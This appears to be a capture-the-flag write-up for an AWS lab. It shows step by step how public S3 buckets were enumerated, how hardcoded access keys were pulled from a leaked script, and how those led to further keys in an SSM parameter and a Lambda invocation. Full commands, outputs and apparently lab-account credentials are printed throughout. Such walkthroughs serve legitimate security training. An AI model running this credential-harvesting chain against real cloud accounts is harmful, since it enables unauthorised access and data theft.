AWS S3 Bucket Brute Force to Breach
Scenario
Huge Logistics, a global powerhouse, has enlisted your expertise to evaluate their cloud security measures. During your preliminary scans, an S3 bucket titled hlogistics-web caught your attention. Your mission is to use knowledge of the naming convention to access other S3 buckets, and pivot to other cloud services if possible.
Entry Point
hlogistics-web
Solution
The bucket hlogistics-web
allows unauthenticated read access. Browsing it
reveals that it contains a HTML file. The HTML file contains a website which
references other buckets named hlogistics-staticfiles
and
hlogistics-images
.
The challenge description mentions a naming convention for buckets. Knowing
this, I create a copy of the raft-large-words.txt wordlist and prepend
hlogistics-
to each row.
I use s3scanner
to enumerate additional buckets.
$ s3scanner -bucket-file raft-large-words.txt | grep exists level=info msg="exists | hlogistics-images | eu-west-2 | AuthUsers: [] | AllUsers: [READ]" level=info msg="exists | hlogistics-web | eu-west-2 | AuthUsers: [] | AllUsers: [READ]" level=info msg="exists | hlogistics-beta | eu-west-2 | AuthUsers: [] | AllUsers: [READ]"
Scanning for other buckets reveals that there is a bucket named
hlogistics-beta
. This bucket contains a Python script which can be
downloaded.
$ aws s3 cp s3://hlogistics-beta/SystemTrackingPackagesTest.py . --no-sign-request download: s3://hlogistics-beta/SystemTrackingPackagesTest.py to ./SystemTrackingPackagesTest.py $ cat SystemTrackingPackagesTest.py import sqlite3 import os import boto3 import json # Retrieve AWS credentials from environment variables aws_access_key_id = 'AKIATRPHKUQKXBHDBLO7' aws_secret_access_key = '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' aws_region = 'eu-west-2' # Set up AWS Lambda client lambda_client = boto3.client('lambda', region_name=aws_region, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key) class PackageTrackingSystem: def __init__(self): self.conn = sqlite3.connect('package_tracking.db') self.c = self.conn.cursor() def __del__(self): self.conn.close() def create_table(self): self.c.execute('''CREATE TABLE IF NOT EXISTS packages ( id INTEGER PRIMARY KEY AUTOINCREMENT, tracking_id TEXT, account_name TEXT, contact_number TEXT, destination TEXT, pick_location TEXT)''') self.conn.commit() def add_package(self, tracking_id, account_name, contact_number, destination, pick_location): self.c.execute('''INSERT INTO packages (tracking_id, account_name, contact_number, destination, pick_location) VALUES (?, ?, ?, ?, ?)''', (tracking_id, account_name, contact_number, destination, pick_location)) self.conn.commit() def get_all_packages(self): self.c.execute('''SELECT * FROM packages''') return self.c.fetchall() def update_package(self, package_id, **kwargs): update_query = 'UPDATE packages SET ' + ', '.join([f'{key}=?' for key in kwargs.keys()]) + ' WHERE id=?' update_values = list(kwargs.values()) + [package_id] self.c.execute(update_query, update_values) self.conn.commit() def delete_package(self, package_id): self.c.execute('DELETE FROM packages WHERE id=?', (package_id,)) self.conn.commit() def invoke_lambda(self, tracking_id, account_name): payload = json.dumps({"tracking_id": tracking_id, "account_name": account_name}) response = lambda_client.invoke( FunctionName="PackageTrackerLambda", InvocationType="Event", Payload=payload ) print(f"Package '{tracking_id}' information processed and Lambda invoked.") if __name__ == "__main__": tracking_system = PackageTrackingSystem() tracking_system.create_table() tracking_system.add_package('ABC123', 'John Doe', '123-456-7890', 'New York', 'Warehouse A') tracking_system.add_package('XYZ456', 'Jane Smith', '987-654-3210', 'Los Angeles', 'Warehouse B') tracking_system.add_package('DEF789', 'Bob Johnson', '555-123-4567', 'Chicago', 'Warehouse C') packages = tracking_system.get_all_packages() print("All Packages:") for package in packages: print(package) tracking_system.update_package(2, destination='Seattle', pick_location='Warehouse D') updated_packages = tracking_system.get_all_packages() print("\nUpdated Packages:") for package in updated_packages: print(package) tracking_system.delete_package(1) remaining_packages = tracking_system.get_all_packages() print("\nRemaining Packages:") for package in remaining_packages: print(package) # Invoking Lambda for a package tracking_system.invoke_lambda('XYZ456', 'Jane Smith')
The script contains AWS credentials. These credentials belong to the user ecollins.
$ aws sts get-caller-identity { "UserId": "AIDATRPHKUQK3U6DLVPIY", "Account": "243687662613", "Arn": "arn:aws:iam::243687662613:user/ecollins" }
Knowing this user, I can try to list all inline policies of this user.
$ aws iam list-user-policies --user-name ecollins { "PolicyNames": [ "SSM_Parameter" ] }
To get the content of the inline policy the following command can be used.
$ aws iam get-user-policy --user-name ecollins --policy-name SSM_Parameter { "UserName": "ecollins", "PolicyName": "SSM_Parameter", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "ssm:GetParameter", "ssm:DescribeParameters" ], "Resource": "arn:aws:ssm:eu-west-2:243687662613:parameter/lharris" } ] } }
The inline policy specifies that the user can get the parameter lharris
in
the eu-west-2
region. It is important to note and later specify the region
as the aws cli command aws ssm get-parameter
will use the default region
otherwise.
$ aws ssm get-parameter --name lharris An error occurred (AccessDeniedException) when calling the GetParameter operation: User: arn:aws:iam::243687662613:user/ecollins is not authorized to perform: ssm:GetParameter on resource: arn:aws:ssm:eu-central-1:243687662613:parameter/lharris because no identity-based policy allows the ssm:GetParameter action
As can be seen, if no region is passed, the AWS cli will construct an ARN for the parameter that contains the default region. This could lead to an exception due to missing permissions or due to the parameter not being available in the region.
$ aws ssm get-parameter --name lharris --region eu-west-2 { "Parameter": { "Name": "lharris", "Type": "StringList", "Value": "AKIATRPHKUQK7PLPPVRR,Cd3XasHrvc6szJmU9b/Imzc+MXQJf/drqCKfSWFj", "Version": 1, "LastModifiedDate": "2023-08-20T20:50:43.250000+02:00", "ARN": "arn:aws:ssm:eu-west-2:243687662613:parameter/lharris", "DataType": "text" } }
The parameter contains an access key and a secret access key. These credentials can be used to get access as user lharris.
$ export AWS_ACCESS_KEY_ID=AKIATRPHKUQK7PLPPVRR $ export AWS_SECRET_ACCESS_KEY=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 $ aws sts get-caller-identity { "UserId": "AIDATRPHKUQK46UGVDBGN", "Account": "243687662613", "Arn": "arn:aws:iam::243687662613:user/lharris" }
The next thing to do is to enumerate the permissions of the user.
$ ~/sec/thebigiamchallenge/level6/enumerate-iam/enumerate-iam.py --access-key AKIATRPHKUQK7PLPPVRR --secret-key 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 2024-07-17 11:39:12,292 - 45985 - [INFO] Starting permission enumeration for access-key-id "AKIATRPHKUQK7PLPPVRR" 2024-07-17 11:39:13,508 - 45985 - [INFO] -- Account ARN : arn:aws:iam::243687662613:user/lharris 2024-07-17 11:39:13,508 - 45985 - [INFO] -- Account Id : 243687662613 2024-07-17 11:39:13,508 - 45985 - [INFO] -- Account Path: user/lharris 2024-07-17 11:39:13,714 - 45985 - [INFO] Attempting common-service describe / list brute force. 2024-07-17 11:39:13,931 - 45985 - [ERROR] Remove codedeploy.get_deployment_target action 2024-07-17 11:39:13,931 - 45985 - [ERROR] Remove codedeploy.batch_get_deployment_targets action 2024-07-17 11:39:15,947 - 45985 - [ERROR] Remove codedeploy.list_deployment_targets action 2024-07-17 11:39:23,628 - 45985 - [INFO] -- sts.get_session_token() worked! 2024-07-17 11:39:23,763 - 45985 - [INFO] -- sts.get_caller_identity() worked! 2024-07-17 11:39:24,481 - 45985 - [INFO] -- dynamodb.describe_endpoints() worked! 2024-07-17 11:39:25,221 - 45985 - [INFO] -- lambda.list_functions() worked! 2024-07-17 11:39:25,635 - 45985 - [INFO] -- lambda.list_functions() worked! ^C 2024-07-17 11:50:09,676 - 45985 - [INFO] Ctrl+C received, stopping all threads. 2024-07-17 11:50:09,676 - 45985 - [INFO] Hit Ctrl+C again to force exit.
The user is allowed to list lambda functions.
$ aws lambda list-functions --region eu-west-2 { "Functions": [ { "FunctionName": "crew_administration_data", "FunctionArn": "arn:aws:lambda:eu-west-2:243687662613:function:crew_administration_data", "Runtime": "python3.12", "Role": "arn:aws:iam::243687662613:role/lambda-empty-role", "Handler": "index.lambda_handler", "CodeSize": 18968, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2024-04-22T20:56:01.000+0000", "CodeSha256": "RPCuNGeiPPknudz6i0jDNx4S017TS5MfmZ/pcIFG7tk=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "26a3c0f2-0e8c-406c-a11e-eb05674df409", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 }, "SnapStart": { "ApplyOn": "None", "OptimizationStatus": "Off" }, "LoggingConfig": { "LogFormat": "Text", "LogGroup": "/aws/lambda/crew_administration_data" } } ] }
I am not able to get any additional information about the Lambda function. However, I am able to execute the function.
$ aws lambda invoke --function-name crew_administration_data --region eu-west-2 foo.txt { "StatusCode": 200, "ExecutedVersion": "$LATEST" }
The output of the function is available in the file foo.txt. Looking through this file, I find the flag.
The flag is 797f9edff5cbdaca5d0902030b7bcfe8